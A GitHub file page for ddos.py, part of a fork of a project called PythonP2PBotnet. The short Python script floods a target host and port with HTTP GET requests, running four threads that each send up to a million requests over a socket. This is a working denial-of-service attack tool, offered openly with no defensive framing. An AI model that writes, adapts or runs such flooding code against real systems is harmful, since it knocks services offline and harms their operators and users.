forked from jhoward321/PythonP2PBotnet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathddos.py
33 lines (27 loc) · 746 Bytes
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os, sys, socket, threading, time
def connect(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
return sock
def spam(sock, host):
for i in range(1000000):
sock.send("GET / HTTP/1.1\r\nHost: " + host + "\r\n\r\n")
def attack(host, port):
sock = connect(host, port)
spam(sock, host)
sock.close()
return
def ddos(host, port):
threads = []
for i in range(4):
t = threading.Thread(target=attack, args = (host, port,))
threads.append(t)
t.start()
def main():
if len(sys.argv) != 3:
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
ddos(host, port)
if __name__ == '__main__':
main();